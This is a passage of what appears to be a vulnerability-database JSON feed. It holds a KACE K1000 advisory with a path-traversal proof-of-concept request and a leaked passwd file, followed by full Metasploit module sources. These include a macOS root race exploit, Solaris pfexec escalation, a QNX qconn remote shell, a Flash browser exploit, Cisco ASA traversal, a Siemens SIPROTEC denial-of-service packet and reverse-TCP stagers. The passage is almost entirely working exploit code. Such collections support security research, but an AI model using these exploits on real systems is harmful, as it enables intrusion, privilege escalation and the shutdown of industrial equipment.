x-kace-auth-key,\r\nx-kace-auth-signature, accept, origin, content-type\r\nAccess-Control-Allow-Origin: *\r\nAccess-Control-Allow-Methods: PUT, DELETE, POST, GET, OPTIONS\r\nX-KACE-Appliance: K1000\r\nX-KACE-Host: k10000.\r\nX-KACE-Version: 8.0.318\r\nX-KBOX-WebServer: k10000.\r\nX-KBOX-Version: 8.0.318\r\nX-KACE-WebServer: k10000.\r\nX-UA-Compatible: IE=9,EDGE\r\nCache-Control: private, no-cache, no-store, proxy-revalidate, no-transform\r\nConnection: close\r\nContent-Type: application/octet-stream\r\n\r\n# $FreeBSD: releng/11.0/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $\r\n#\r\nroot:*:0:0:Charlie &:/root:/bin/csh\r\ndaemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin\r\noperator:*:2:5:System &:/:/usr/sbin/nologin\r\nbin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin\r\ntty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin[...SNIPPED...]\r\n-----/\r\n\r\n7.11. *Path traversal in advisory.php leading to arbitrary file\r\ncreation/deletion*\r\n\r\n[CVE-2018-11141]\r\nThe 'IMAGES_JSON' and 'attachments_to_remove[]' parameters of the\r\n'/adminui/advisory.php' script can be abused to write and delete files\r\nrespectively. The following proof of concept creates a file located at\r\n'/kbox/kboxwww/resources/TestWrite' with the content 'Sarasa' (base64\r\nencoded).\r\nFiles can be at any location where the 'www' user has write permissions.\r\n\r\nFile deletion could be abused to delete\r\n'/kbox/kboxwww/systemui/reports/setup_completed.log' file. This file's\r\nexistence defines if the appliance setup wizard is shown or not.\r\n\r\nThe following proof of concept demonstrates the vulnerability:\r\n\r\n/-----\r\nPOST /adminui/advisory.php?ID=10 HTTP/1.1\r\nHost: [ServerIP]\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: http://[ServerIP]/adminui/advisory.php?ID=10\r\nContent-Type: multipart/form-data;\r\nboundary=---------------------------2671551246366368501556269100\r\nContent-Length: 1705\r\nCookie: [Cookie]\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n-----------------------------2671551246366368501556269100\r\nContent-Disposition: form-data; name=\"CSRF_TOKEN\"\r\n\r\n99c2addf067719d6fc3ae32ded351f000af8efdd091f162baa2a34516cefecc741cb13a69c80554a9ba32908d1c683102d3455eac39bcafc8854f46a04b2044e\r\n-----------------------------2671551246366368501556269100\r\nContent-Disposition: form-data; name=\"IMAGES_JSON\"\r\n\r\n{\"/../../../resources/TestWrite\":\"aaaaaa,VGVzdENvbnRlbnQ=\"}\r\n-----------------------------2671551246366368501556269100\r\nContent-Disposition: form-data; name=\"FARRAY[ID]\"\r\n[...SNIPPED...]\r\n-----/\r\n\r\nTaking advantage of 7.2 and 7.4 we are able to verify the file creation:\r\n\r\n/-----\r\n[[email\u00a0protected] /kbox/kboxwww/resources]# ls -lha\r\ntotal 32\r\ndrwxr-xr-x 2 www wheel 512B Feb 9 20:40 .\r\ndrwxr-xr-x 23 root wheel 512B Nov 14 18:29 ..\r\n-rw-r--r-- 1 www wheel 11B Feb 9 20:40 TestWrite\r\n-----/\n\n# 0day.today [2018-06-01] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/30515"}], "metasploit": [{"lastseen": "2019-12-08T08:36:58", "bulletinFamily": "exploit", "description": "This module exploits a race condition vulnerability in Mac's Feedback Assistant. A successful attempt would result in remote code execution under the context of root.\n", "modified": "2019-05-20T17:43:54", "published": "2019-05-06T20:22:39", "id": "MSF:EXPLOIT/OSX/LOCAL/FEEDBACK_ASSISTANT_ROOT", "href": "", "type": "metasploit", "title": "Mac OS X Feedback Assistant Race Condition", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n include Msf::Post::File\n include Msf::Post::OSX::Priv\n include Msf::Post::OSX::System\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Mac OS X Feedback Assistant Race Condition',\n 'Description' => %q{\n This module exploits a race condition vulnerability in Mac's Feedback Assistant.\n A successful attempt would result in remote code execution under the context of\n root.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'CodeColorist', # Discovery and exploit\n 'timwr', # Metasploit module\n ],\n 'References' => [\n ['CVE', '2019-8565'],\n ['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],\n ['URL', 'https://support.apple.com/en-in/HT209600'],\n ['URL', 'https://github.com/ChiChou/sploits'],\n ],\n 'SessionTypes' => [ 'meterpreter', 'shell' ],\n 'Platform' => [ 'osx', 'python', 'unix' ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },\n 'Targets' => [\n [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],\n [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],\n [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],\n ],\n 'DisclosureDate' => 'Apr 13 2019'))\n register_advanced_options [\n OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\n ]\n end\n\n def upload_executable_file(filepath, filedata)\n print_status(\"Uploading file: '#{filepath}'\")\n write_file(filepath, filedata)\n chmod(filepath)\n register_file_for_cleanup(filepath)\n end\n\n def check\n version = Gem::Version.new(get_system_version)\n if version >= Gem::Version.new('10.14.4')\n CheckCode::Safe\n else\n CheckCode::Appears\n end\n end\n\n def exploit\n if check != CheckCode::Appears\n fail_with Failure::NotVulnerable, 'Target is not vulnerable'\n end\n\n if is_root?\n fail_with Failure::BadConfig, 'Session already has root privileges'\n end\n\n unless writable? datastore['WritableDir']\n fail_with Failure::BadConfig, \"#{datastore['WritableDir']} is not writable\"\n end\n\n case target['Arch']\n when ARCH_X64\n payload_file = \"#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}\"\n binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)\n upload_executable_file(payload_file, binary_payload)\n root_cmd = payload_file\n when ARCH_PYTHON\n root_cmd = \"echo \\\"#{payload.encoded}\\\" | python\"\n else\n root_cmd = payload.encoded\n end\n root_cmd = root_cmd + \" & \\0\"\n if root_cmd.length > 1024\n fail_with Failure::PayloadFailed, \"Payload size (#{root_cmd.length}) exceeds space in payload placeholder\"\n end\n\n exploit_data = File.binread(File.join(Msf::Config.data_directory, \"exploits\", \"CVE-2019-8565\", \"exploit\" ))\n placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')\n exploit_data[placeholder_index, root_cmd.length] = root_cmd\n\n exploit_file = \"#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}\"\n upload_executable_file(exploit_file, exploit_data)\n\n print_status(\"Executing exploit '#{exploit_file}'\")\n result = cmd_exec(exploit_file)\n print_status(\"Exploit result:\\n#{result}\")\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/osx/local/feedback_assistant_root.rb"}, {"lastseen": "2019-10-23T20:30:15", "bulletinFamily": "exploit", "description": "This module attempts to upgrade a shell session to UID 0 using pfexec.\n", "modified": "2019-02-01T22:58:21", "published": "2019-02-01T22:58:21", "id": "MSF:POST/SOLARIS/ESCALATE/PFEXEC", "href": "", "type": "metasploit", "title": "Solaris pfexec Upgrade Shell", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Post\n include Msf::Post::File\n include Msf::Post::Solaris::System\n include Msf::Post::Solaris::Priv\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Solaris pfexec Upgrade Shell',\n 'Description' => %q{\n This module attempts to upgrade a shell session to UID 0 using pfexec.\n },\n 'License' => MSF_LICENSE,\n 'Author' => ['bcoles'],\n 'Platform' => 'solaris',\n 'References' =>\n [\n ['URL', 'https://docs.oracle.com/cd/E19253-01/816-4557/prbactm-1/index.html'],\n ['URL', 'http://www.c0t0d0s0.org/archives/4844-Less-known-Solaris-features-pfexec.html'],\n ['URL', 'http://solaris.wikia.com/wiki/Providing_root_privileges_with_pfexec']\n ],\n 'SessionTypes' => ['shell']\n ))\n register_options [\n OptString.new('PFEXEC_PATH', [true, 'Path to pfexec', '/usr/bin/pfexec']),\n OptString.new('SHELL_PATH', [true, 'Path to shell', '/bin/sh'])\n ]\n end\n\n def shell_path\n datastore['SHELL_PATH'].to_s\n end\n\n def pfexec_path\n datastore['PFEXEC_PATH'].to_s\n end\n\n def run\n unless session.type == 'shell'\n fail_with Failure::BadConfig, \"This module is not compatible with #{session.type} sessions\"\n end\n\n if is_root?\n fail_with Failure::BadConfig, 'Session already has root privileges'\n end\n\n unless command_exists? pfexec_path\n fail_with Failure::NotVulnerable, \"#{pfexec_path} does not exist\"\n end\n\n user = cmd_exec('id -un').to_s\n\n print_status \"Trying pfexec as `#{user}' ...\"\n\n res = cmd_exec \"#{pfexec_path} #{shell_path} -c id\"\n vprint_status res\n\n unless res.include? 'uid=0'\n fail_with Failure::NotVulnerable, \"User `#{user}' does not have permission to escalate with pfexec\"\n end\n\n print_good 'Success! Upgrading session ...'\n\n cmd_exec \"#{pfexec_path} #{shell_path}\"\n\n unless is_root?\n fail_with Failure::NotVulnerable, 'Failed to escalate'\n end\n\n print_good 'Success! root shell secured'\n report_note(\n :host => session,\n :type => 'host.escalation',\n :data => \"User `#{user}' pfexec'ed to a root shell\"\n )\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/post/solaris/escalate/pfexec.rb"}, {"lastseen": "2019-12-03T05:45:27", "bulletinFamily": "exploit", "description": "This module uses the qconn daemon on QNX systems to gain a shell. The QNX qconn daemon does not require authentication and allows remote users to execute arbitrary operating system commands. This module has been tested successfully on QNX Neutrino 6.5.0 (x86) and 6.5.0 SP1 (x86).\n", "modified": "2019-01-10T19:19:14", "published": "2018-10-20T18:16:59", "id": "MSF:EXPLOIT/QNX/QCONN/QCONN_EXEC", "href": "", "type": "metasploit", "title": "QNX qconn Command Execution", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::Tcp\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'QNX qconn Command Execution',\n 'Description' => %q{\n This module uses the qconn daemon on QNX systems to gain a shell.\n\n The QNX qconn daemon does not require authentication and allows\n remote users to execute arbitrary operating system commands.\n\n This module has been tested successfully on QNX Neutrino 6.5.0 (x86)\n and 6.5.0 SP1 (x86).\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'David Odell', # Discovery\n 'Mor!p3r', # PoC\n 'bcoles' # Metasploit\n ],\n 'References' =>\n [\n ['EDB', '21520'],\n ['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'],\n ['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'],\n ['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html']\n ],\n 'Payload' =>\n {\n 'BadChars' => '',\n 'DisableNops' => true,\n 'Compat' =>\n {\n 'PayloadType' => 'cmd_interact',\n 'ConnectionType' => 'find'\n }\n },\n 'DefaultOptions' =>\n {\n 'WfsDelay' => 10,\n 'PAYLOAD' => 'cmd/unix/interact'\n },\n 'Platform' => 'unix', # QNX Neutrino\n 'Arch' => ARCH_CMD,\n 'Targets' => [['Automatic', {}]],\n 'Privileged' => false,\n 'DisclosureDate' => 'Sep 4 2012',\n 'DefaultTarget' => 0))\n register_options(\n [\n Opt::RPORT(8000),\n OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh'])\n ])\n end\n\n def check\n vprint_status 'Sending check...'\n\n connect\n res = sock.get_once(-1, 10)\n\n unless res\n vprint_error 'Connection failed'\n return CheckCode::Unknown\n end\n\n unless res.include? 'QCONN'\n return CheckCode::Safe\n end\n\n sock.put \"service launcher\\n\"\n res = sock.get_once(-1, 10)\n\n if res.nil? || !res.include?('OK')\n return CheckCode::Safe\n end\n\n fingerprint = Rex::Text.rand_text_alphanumeric rand(5..10)\n sock.put \"start/flags run /bin/echo /bin/echo #{fingerprint}\\n\"\n\n if res.nil? || !res.include?('OK')\n return CheckCode::Safe\n end\n\n Rex.sleep 1\n\n res = sock.get_once(-1, 10)\n\n if res.nil? || !res.include?(fingerprint)\n return CheckCode::Safe\n end\n\n disconnect\n\n CheckCode::Vulnerable\n end\n\n def exploit\n unless check == CheckCode::Vulnerable\n fail_with Failure::NotVulnerable, 'Target is not vulnerable'\n end\n\n connect\n res = sock.get_once(-1, 10)\n\n unless res\n fail_with Failure::Unreachable, 'Connection failed'\n end\n\n unless res.include? 'QCONN'\n fail_with Failure::UnexpectedReply, 'Unexpected reply'\n end\n\n sock.put \"service launcher\\n\"\n res = sock.get_once(-1, 10)\n\n if res.nil? || !res.include?('OK')\n fail_with Failure::UnexpectedReply, 'Unexpected reply'\n end\n\n print_status 'Sending payload...'\n sock.put \"start/flags run #{datastore['SHELL']} -\\n\"\n\n Rex.sleep 1\n\n unless negotiate_shell sock\n fail_with Failure::UnexpectedReply, 'Unexpected reply'\n end\n\n print_good 'Payload sent successfully'\n\n handler\n end\n\n def negotiate_shell(sock)\n Timeout.timeout(15) do\n while true\n data = sock.get_once(-1, 10)\n\n if !data || data.length.zero?\n return nil\n end\n\n if data.include?('#') || data.include?('No controlling tty')\n return true\n end\n\n Rex.sleep 0.5\n end\n end\n rescue ::Timeout::Error\n return nil\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/qnx/qconn/qconn_exec.rb"}, {"lastseen": "2019-11-20T02:57:39", "bulletinFamily": "exploit", "description": "This module exploits a type confusion on Adobe Flash Player, which was originally found being successfully exploited in the wild. This module has been tested successfully on: macOS Sierra 10.12.3, Safari and Adobe Flash Player 21.0.0.182, Firefox and Adobe Flash Player 21.0.0.182.\n", "modified": "2019-02-09T10:46:35", "published": "2018-10-10T09:27:51", "id": "MSF:EXPLOIT/OSX/BROWSER/ADOBE_FLASH_DELETE_RANGE_TL_OP", "href": "", "type": "metasploit", "title": "Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GreatRanking\n\n include Msf::Exploit::Remote::BrowserExploitServer\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion',\n 'Description' => %q(\n This module exploits a type confusion on Adobe Flash Player, which was\n originally found being successfully exploited in the wild. This module\n has been tested successfully on:\n macOS Sierra 10.12.3,\n Safari and Adobe Flash Player 21.0.0.182,\n Firefox and Adobe Flash Player 21.0.0.182.\n ),\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Genwei Jiang', # FireEye original blog details on the vulnerability\n 'bcook-r7' # Imported Metasploit module\n ],\n 'References' =>\n [\n ['CVE', '2016-4117'],\n ['BID', '90505'],\n ['URL', 'https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html'],\n ['URL', 'http://www.securitytracker.com/id/1035826'],\n ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa16-02.html'],\n ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb16-15.html'],\n ],\n 'Payload' =>\n {\n 'DisableNops' => true\n },\n 'Platform' => ['osx'],\n 'BrowserRequirements' =>\n {\n source: /script|headers/i,\n os_name: lambda do |os|\n os =~ OperatingSystems::Match::MAC_OSX\n end,\n ua_name: lambda do |ua|\n case target.name\n when 'Mac OS X'\n return true if ua == Msf::HttpClients::SAFARI\n return true if ua == Msf::HttpClients::FF\n end\n\n false\n end,\n flash: lambda do |ver|\n case target.name\n when 'Mac OS X'\n return true if Gem::Version.new(ver) <= Gem::Version.new('21.0.0.182')\n end\n\n false\n end\n },\n 'Targets' =>\n [\n [\n 'Mac OS X', {\n 'Platform' => 'osx',\n 'Arch' => ARCH_X64\n }\n ]\n ],\n 'Privileged' => false,\n 'DisclosureDate' => 'Apr 27 2016',\n 'DefaultTarget' => 0))\n end\n\n def exploit\n @swf = create_swf\n\n super\n end\n\n def on_request_exploit(cli, request, target_info)\n print_status(\"Request: #{request.uri}\")\n\n if request.uri.end_with? 'swf'\n print_status('Sending SWF...')\n send_response(cli, @swf, 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache')\n return\n end\n\n print_status('Sending HTML...')\n send_exploit_html(cli, exploit_template(cli, target_info), 'Pragma' => 'no-cache')\n end\n\n def exploit_template(cli, target_info)\n swf_random = \"#{rand_text_alpha(3..7)}.swf\"\n target_payload = get_payload(cli, target_info)\n b64_payload = Rex::Text.encode_base64(target_payload)\n\n if target.name.include? 'osx'\n platform_id = 'osx'\n end\n html_template = %(<html>\n <body>\n <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" />\n <param name=\"movie\" value=\"<%=swf_random%>\" />\n <param name=\"allowScriptAccess\" value=\"always\" />\n <param name=\"FlashVars\" value=\"sh=<%=b64_payload%>&pl=<%=platform_id%>\" />\n <param name=\"Play\" value=\"true\" />\n <embed type=\"application/x-shockwave-flash\" width=\"1\" height=\"1\" src=\"<%=swf_random%>\" allowScriptAccess=\"always\" FlashVars=\"sh=<%=b64_payload%>&pl=<%=platform_id%>\" Play=\"true\"/>\n </object>\n </body>\n </html>\n )\n\n return html_template, binding\n end\n\n def create_swf\n path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4117', 'msf.swf')\n File.binread(path)\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/osx/browser/adobe_flash_delete_range_tl_op.rb"}, {"lastseen": "2019-11-20T02:41:30", "bulletinFamily": "exploit", "description": "This module exploits a directory traversal vulnerability in Cisco's Adaptive Security Appliance (ASA) software and Firepower Threat Defense (FTD) software. It lists the contents of Cisco's VPN web service which includes directories, files, and currently logged in users.\n", "modified": "2019-02-28T22:48:54", "published": "2018-07-30T19:25:58", "id": "MSF:AUXILIARY/SCANNER/HTTP/CISCO_DIRECTORY_TRAVERSAL", "href": "", "type": "metasploit", "title": "Cisco ASA Directory Traversal", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Cisco ASA Directory Traversal',\n 'Description' => %q{\n This module exploits a directory traversal vulnerability in Cisco's Adaptive Security Appliance (ASA) software and Firepower Threat Defense (FTD) software.\n It lists the contents of Cisco's VPN web service which includes directories, files, and currently logged in users.\n },\n 'Author' => [ 'Micha\u0142 Bentkowski', # Discovery\n 'Yassine Aboukir', # PoC\n 'Shelby Pace' # Metasploit Module\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2018-0296' ],\n [ 'EDB', '44956' ]\n ],\n 'DisclosureDate' => 'Jun 6 2018'\n ))\n\n register_options(\n [\n OptString.new('TARGETURI', [ true, 'Path to Cisco installation', '/' ]),\n OptBool.new('SSL', [ true, 'Use SSL', true ]),\n Opt::RPORT(443)\n ])\n end\n\n def is_accessible?\n uri = normalize_uri(target_uri.path, '+CSCOE+/logon.html')\n\n res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => uri\n )\n\n return (res && (res.body.include?(\"SSL VPN Service\") || res.body.include?(\"+CSCOE+\") || res.body.include?(\"+webvpn+\") || res.body.include?(\"webvpnlogin\")))\n end\n\n def list_files(path)\n uri = normalize_uri(target_uri.path, path)\n\n list_res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => uri\n )\n\n if list_res && list_res.code == 200\n if list_res.body.match(/\\/{3}sessions/)\n get_sessions(list_res.body)\n else\n print_good(list_res.body)\n end\n end\n end\n\n def get_sessions(response)\n session_nos = response.scan(/([0-9]{2,})/)\n\n if session_nos.empty?\n print_status(\"Could not detect any sessions\")\n print(\"\\n\")\n return\n end\n\n print_good(response)\n list_users(session_nos)\n end\n\n def list_users(sessions)\n sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'\n user_ids = Array.new\n\n sessions.each do |session_no|\n users_res = send_request_cgi(\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, sessions_uri, session_no)\n )\n\n if users_res && users_res.body.include?('name')\n user_ids.push(users_res.body.match(/user:(\\w+)/).to_s)\n end\n end\n\n unless user_ids.empty?\n print_status('Users logged in:')\n user_ids.each { |id| print_good(id) }\n print(\"\\n\")\n return\n end\n\n print_status(\"There are no users logged in currently\")\n end\n\n def run\n file_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'\n sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'\n cscoe_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'\n\n paths = [file_uri, sessions_uri, cscoe_uri]\n\n unless is_accessible?\n fail_with(Failure::NotFound, 'Failed to reach Cisco web logon service')\n end\n\n paths.each { |path| list_files(path) }\n end\nend\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/http/cisco_directory_traversal.rb"}, {"lastseen": "2019-10-23T23:09:30", "bulletinFamily": "exploit", "description": "This module sends a specially crafted packet to port 50000/UDP causing a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) devices. A manual reboot is required to return the device to service. CVE-2015-5374 and a CVSS v2 base score of 7.8 have been assigned to this vulnerability.\n", "modified": "2019-08-15T23:10:44", "published": "2018-03-08T13:09:53", "id": "MSF:AUXILIARY/DOS/SCADA/SIEMENS_SIPROTEC4", "href": "", "type": "metasploit", "title": "Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module - Denial of Service", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::Udp\n include Msf::Auxiliary::Dos\n def initialize(info = {})\n super(\n 'Name' => 'Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module - Denial of Service',\n 'Description' => %q{\n This module sends a specially crafted packet to port 50000/UDP\n causing a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) devices.\n A manual reboot is required to return the device to service.\n CVE-2015-5374 and a CVSS v2 base score of 7.8 have been assigned to this vulnerability.\n },\n 'Author' => [ 'M. Can Kurnaz' ],\n 'License' => MSF_LICENSE,\n 'Version' => '$Revision: 1 $',\n 'References' =>\n [\n [ 'CVE' '2015-5374' ],\n [ 'EDB', '44103' ],\n [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01' ]\n ])\n register_options([Opt::RPORT(50000),])\n end\n def run\n connect_udp\n pckt = \"\\x11\\x49\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x28\\x9e\"\n print_status('Sending DoS packet...')\n udp_sock.put(pckt)\n disconnect_udp\n end\nend\n\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/dos/scada/siemens_siprotec4.rb"}, {"lastseen": "2019-12-01T13:14:09", "bulletinFamily": "exploit", "description": "Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a pipe connection (Windows x64)\n", "modified": "2018-02-15T23:37:33", "published": "2018-02-12T01:56:50", "id": "MSF:PAYLOAD/WINDOWS/X64/VNCINJECT/BIND_NAMED_PIPE", "href": "", "type": "metasploit", "title": "Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/handler/bind_named_pipe'\nrequire 'msf/core/payload/windows/x64/bind_named_pipe'\n\nmodule MetasploitModule\n\n CachedSize = 481\n\n include Msf::Payload::Stager\n include Msf::Payload::Windows::BindNamedPipe_x64\n\n def initialize(info = {})\n super(merge_info(info,\n 'Name' => 'Windows x64 Bind Named Pipe Stager',\n 'Description' => 'Listen for a pipe connection (Windows x64)',\n 'Author' => [ 'UserExistsError' ],\n 'License' => MSF_LICENSE,\n 'Platform' => 'win',\n 'Arch' => ARCH_X64,\n 'Handler' => Msf::Handler::BindNamedPipe,\n 'Convention' => 'sockrdi', # hPipe\n 'Stager' => { 'RequiresMidstager' => false }\n ))\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/payloads/stagers/windows/x64/bind_named_pipe.rb"}, {"lastseen": "2019-11-25T21:36:39", "bulletinFamily": "exploit", "description": "Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker\n", "modified": "2018-03-04T23:43:15", "published": "2018-02-04T07:01:27", "id": "MSF:PAYLOAD/WINDOWS/X64/VNCINJECT/REVERSE_TCP_RC4", "href": "", "type": "metasploit", "title": "Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "sourceData": "# -*- coding: binary -*-\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/handler/reverse_tcp'\nrequire 'msf/core/payload/windows/x64/reverse_tcp_rc4'\n\n\nmodule MetasploitModule\n\n CachedSize = 585\n\n include Msf::Payload::Stager\n include Msf::Payload::Windows::ReverseTcpRc4_x64\n\n def self.handler_type_alias\n \"reverse_tcp_rc4\"\n end\n\n def initialize(info = {})\n super(merge_info(info,\n 'Name' => 'Reverse TCP Stager (RC4 Stage Encryption, Metasm)',\n 'Description' => 'Connect back to the attacker',\n 'Author' => ['hdm', 'skape', 'sf', 'mihi', 'max3raza', 'RageLtMan'],\n 'License' => MSF_LICENSE,\n 'Platform' => 'win',\n 'Arch' => ARCH_X64,\n 'Handler' => Msf::Handler::ReverseTcp,\n 'Convention' => 'sockrdi',\n 'Stager' => { 'RequiresMidstager' => false }\n ))\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb"}, {"lastseen": "2019-12-01T13:14:05", "bulletinFamily": "exploit", "description": "Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Connect back to the attacker\n", "modified": "2018-03-04T23:43:15", "published": "2018-02-04T07:01:27", "id": "MSF:PAYLOAD/WINDOWS/X64/METERPRETER/REVERSE_TCP_RC4", "href": "", "type": "metasploit", "title": "Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "sourceData": "# -*- coding: binary -*-\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/handler/reverse_tcp'\nrequire 'msf/core/payload/windows/x64/reverse_tcp_rc4'\n\n\nmodule MetasploitModule\n\n CachedSize = 585\n\n include Msf::Payload::Stager\n include Msf::Payload::Windows::ReverseTcpRc4_x64\n\n def self.handler_type_alias\n \"reverse_tcp_rc4\"\n end\n\n def initialize(info = {})\n super(merge_info(info,\n 'Name' => 'Reverse TCP Stager (RC4 Stage Encryption, Metasm)',\n 'Description' => 'Connect back to the attacker',\n 'Author' => ['hdm', 'skape', 'sf', 'mihi', 'max3raza', 'RageLtMan'],\n 'License' => MSF_LICENSE,\n 'Platform' => 'win',\n 'Arch' => ARCH_X64,\n 'Handler' => Msf::Handler::ReverseTcp,\n 'Convention' => 'sockrdi',\n 'Stager' => { 'RequiresMidstager' => false }\n ))\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb"}], "exploitdb": [{"lastseen": "2019-02-11T15:20:31", "bulletinFamily": "exploit", "description": "", "modified": "2019-02-11T00:00:00", "published": "2019-02-11T00:00:00", "id": "EDB-ID:46339", "href": "https://www.exploit-db.com/exploits/46339", "type": "exploitdb", "title": "Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit)", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: 